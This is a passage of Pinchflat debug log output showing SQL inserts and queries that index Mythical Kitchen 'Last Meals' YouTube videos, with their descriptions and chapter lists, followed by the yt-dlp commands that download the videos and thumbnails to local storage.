Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon" <> ..., "Uncle Roger Eats His Last Meal", "266c0102-f80e-4205-aedc-26b060f402af", "https://www.youtube.com/watch?v=Bs4viHlAz3U", false, "Bs4viHlAz3U", 1733, false, 97, "/downloads/Last Meals/2024-01-23 Uncle Roger Eats His Last Meal/Uncle Roger Eats His Last Meal [Bs4viHlAz3U].mp4", false, false, 1, [], 1, ~U[2024-01-23 11:00:16Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Josh is cooking Nigel Ng (Uncle Roger)'s last meal.\n\nCheck out Nigel's YouTube Channel - https://youtube.com/@mrnigelng\nAnd don't miss The HAIYAA Special - https://veeps.events/mrnigelng\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Nigel's Last Meal Menu\n1:11 How Often Do You Think About Death?\n1:32 Food In Asian Culture\n2:54 1st Course - Kaya Toast, Soft Boiled Eggs, Chili Pan Mee and Kopi Si Kosong\n4:53 Facing Criticism\n5:54 Where Uncle Roger's Accent Originated\n6:16 Malaysian Coffee Culture\n7:36 Pooping At The Gym\n8:29 Comedians & Accents\n10:24 2nd Course - Peking Duck, Fried Rice, & Puer Tea \n10:47 Uncle Roger Tries Our Fried Rice\n11:44 Promoting MSG\n13:43 Banned From China\n14:19 Calling Out Chefs On YouTube\n15:07 3rd Course - Silk Handkerchief Pasta, Blowtorch Otoro, Kimchi Jjigae, & Sake\n17:01 Banned From Karaoke\n18:34 Leaving Malaysia\n19:59 Full Time Data Scientist, Part Time Stand Up Comedian\n21:13 4th Course - Indomie, Boba Milk Tea, & Bubur Cha Cha\n22:22 Uncle Roger vs. Nigel Ng\n24:15 Death, Spirits, & The Afterlife\n25:38 Lightning Round\n25:36 Who's The One Person You'd Want To Share Your Last Meal With?\n26:08 Which Is Better, Cambodian Or Laotian Food?\n26:34 What Song Do You Want Played At Your Funeral?\n26:48 What's Your Biggest Fear?\n27:08 WYR: Orange Polo or Jamie Oliver's Food Forever?\n27:20 What's Your Greatest Regret?\n28:01 Are You Happy?\n28:09 Nigel's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical (truncated) 20:49:32.390 [debug] QUERY OK source="sources" db=0.0ms idle=10.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.390 [debug] QUERY OK source="media_items" db=0.2ms idle=2.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-22 10:01:02Z], 1] 20:49:32.391 [debug] QUERY OK source="media_items" db=0.5ms idle=2.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Damiano David, the Eurovision winner for Italy and a member of Måneskin, eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Damiano's Last Meal\n0:18 Door-to-door Pillow Salesman\n1:20 Have You Thought About Your Last Meal Before?\n1:51 How Often Do You Think About Death?\n3:23 1st Course\n4:35 Damiano's In-N-Out Conspiracy\n5:24 Josh Practices Italian Slang\n6:55 Funny Little Fears\n9:50 Being a Rock God\n11:06 Creating Music In Between Relationships\n12:49 2nd Course\n14:35 Plug Your Merch (With Pesto)!\n15:28 Maneskin's Music Journey\n21:27 Will We See More Maneskin?\n22:01 3rd Course\n23:45 Damiano's Dream Restaurant\n24:09 Cooking For Dove Cameron\n29:59 Dealing With Fame\n31:55 4th Course\n32:48 A Number One Song Is Like Sex\n35:33 Obsessed With The New Album\n35:39 Memento Mori\n36:55 What Do You Think Happens When You Die?\n38:30 Lightning Round\n41:00 Damiano's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Måneskin’s Damiano David Eats His Last Meal", "862010cc-3ad1-4409-a990-36e5e5071006", "https://www.youtube.com/watch?v=ZECpNhIMRUE", false, "ZECpNhIMRUE", 2487, false, 98, "/downloads/Last Meals/2025-05-22 Måneskin’s Damiano David Eats His Last Meal/Måneskin’s Damiano David Eats His Last Meal [ZECpNhIMRUE].mp4", false, false, 1, [], 1, ~U[2025-05-22 10:01:02Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Damiano David, the Eurovision winner for Italy and a member of Måneskin, eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Damiano's Last Meal\n0:18 Door-to-door Pillow Salesman\n1:20 Have You Thought About Your Last Meal Before?\n1:51 How Often Do You Think About Death?\n3:23 1st Course\n4:35 Damiano's In-N-Out Conspiracy\n5:24 Josh Practices Italian Slang\n6:55 Funny Little Fears\n9:50 Being a Rock God\n11:06 Creating Music In Between Relationships\n12:49 2nd Course\n14:35 Plug Your Merch (With Pesto)!\n15:28 Maneskin's Music Journey\n21:27 Will We See More Maneskin?\n22:01 3rd Course\n23:45 Damiano's Dream Restaurant\n24:09 Cooking For Dove Cameron\n29:59 Dealing With Fame\n31:55 4th Course\n32:48 A Number One Song Is Like Sex\n35:33 Obsessed With The New Album\n35:39 Memento Mori\n36:55 What Do You Think Happens When You Die?\n38:30 Lightning Round\n41:00 Damiano's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Måneskin’s Damiano David Eats His Last Meal", "https://www.youtube.com/watch?v=ZECpNhIMRUE", "ZECpNhIMRUE", 2487, false, "/downloads/Last Meals/2025-05-22 Måneskin’s Damiano David Eats His Last Meal/Måneskin’s Damiano David Eats His Last Meal [ZECpNhIMRUE].mp4", false, 1, ~U[2025-05-22 10:01:02Z]] 20:49:32.391 [debug] QUERY OK source="sources" db=0.0ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.391 [debug] QUERY OK source="media_items" db=0.1ms idle=1.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-10-15 10:00:23Z], 1] 20:49:32.392 [debug] QUERY OK source="media_items" db=0.6ms idle=1.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Ella Purnell is eating her last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Ella's Last Meal\n0:27 Toffifay Surprise\n2:11 Have You Thought About Your Last Meal Before?\n2:48 How Often Do You Think About Death?\n4:18 1st Course\n5:32 Discovering American Food\n6:29 Sex & The New York City\n7:53 How Ella Picks Her Roles\n10:52 Stab Acting 101\n13:08 2nd Course\n15:58 A Hug In A Dumpling & Dealing With Depression\n19:45 Yellowjackets Corpse\n21:48 Accepting Sadness\n24:00 Is Humor A Valid Way To Cope?\n25:31 3rd Course\n26:40 Executive Producing Sweetpea\n28:40 Pressure To Perform\n29:36 4th Course\n31:32 Remembering Nana\n32:26 What Do You Think Happens When You Die?\n32:49 Lightning Round\n34:04 Ella's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Ella Purnell Eats Her Last Meal", "100ae3c5-166e-4333-8193-2e8ee4a47ddd", "https://www.youtube.com/watch?v=NEoBd6hVLnw", false, "NEoBd6hVLnw", 2076, false, 99, "/downloads/Last Meals/2024-10-15 Ella Purnell Eats Her Last Meal/Ella Purnell Eats Her Last Meal [NEoBd6hVLnw].mp4", false, false, 1, [], 0, ~U[2024-10-15 10:00:23Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Ella Purnell is eating her last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Ella's Last Meal\n0:27 Toffifay Surprise\n2:11 Have You Thought About Your Last Meal Before?\n2:48 How Often Do You Think About Death?\n4:18 1st Course\n5:32 Discovering American Food\n6:29 Sex & The New York City\n7:53 How Ella Picks Her Roles\n10:52 Stab Acting 101\n13:08 2nd Course\n15:58 A Hug In A Dumpling & Dealing With Depression\n19:45 Yellowjackets Corpse\n21:48 Accepting Sadness\n24:00 Is Humor A Valid Way To Cope?\n25:31 3rd Course\n26:40 Executive Producing Sweetpea\n28:40 Pressure To Perform\n29:36 4th Course\n31:32 Remembering Nana\n32:26 What Do You Think Happens When You Die?\n32:49 Lightning Round\n34:04 Ella's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F5 (truncated) 20:49:32.392 [debug] QUERY OK source="sources" db=0.0ms idle=2.0ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], 1] 20:49:32.393 [debug] QUERY OK source="media_items" db=0.4ms idle=1.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 20:49:32.418 [debug] QUERY OK source="tasks" db=0.0ms idle=0.8ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [113, 212, ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z]] 20:49:32.418 [debug] QUERY OK source="media_items" db=0.1ms idle=0.7ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 20:49:32.418 [debug] QUERY OK source="media_items" db=0.1ms idle=0.7ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 20:49:32.418 [info] No notification servers provided for source 1 20:49:32.419 [debug] QUERY OK source="tasks" db=0.0ms idle=0.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [114, 1, ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z]] 20:49:32.419 [info] {"args":{"id":1},"id":2,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":167466243,"event":"job:stop","queue_time":707910,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 20:49:35.197 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=lTEhBL7CetU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/bd/dc/bddcea8e3d0dccd102eee390752a78656d77f6e34dc23533b48184866ee9dc55.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:49:35.212 [debug] Running yt-dlp command for action: download_thumbnail 20:49:35.213 [debug] QUERY OK source="settings" db=0.0ms idle=1155.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:49:35.213 [debug] QUERY OK source="settings" db=0.0ms idle=1155.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:49:35.213 [debug] QUERY OK source="settings" db=0.0ms idle=1155.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:49:35.213 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=lTEhBL7CetU --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/2/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/fb/33/fb3332a77ad819c123399c495e5e50ccc9b81903baa6ae24dd1c017411669b12.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:49:37.905 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=lTEhBL7CetU --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/2/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/fb/33/fb3332a77ad819c123399c495e5e50ccc9b81903baa6ae24dd1c017411669b12.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:49:37.905 [debug] QUERY OK db=0.0ms idle=1703.2ms begin [] 20:49:37.906 [debug] QUERY OK source="media_items" db=0.3ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 00:49:35Z], "/downloads/Last Meals/2025-06-10 John Green Eats His Last Meal/John Green Eats His Last Meal [lTEhBL7CetU].mp4", ~U[2026-03-28 00:49:37Z], 2] 20:49:37.906 [debug] QUERY OK source="media_metadata" db=0.3ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/2/metadata.json.gz", "/config/metadata/media_items/2/thumbnail.jpg", 2, ~U[2026-03-28 00:49:37Z], ~U[2026-03-28 00:49:37Z]] 20:49:37.906 [debug] QUERY OK db=0.0ms commit [] 20:49:37.907 [debug] QUERY OK source="media_items" db=0.5ms idle=849.6ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [402772305, ~U[2026-03-28 00:49:37Z], 2] 20:49:37.907 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:49:37.907 [info] {"args":{"id":2},"id":5,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":167923181,"event":"job:stop","queue_time":984343,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:49:37.913 [info] {"args":{"id":4},"id":7,"meta":{},"system_time":1774658977913762815,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:49:37.913 [debug] QUERY OK source="media_items" db=0.0ms 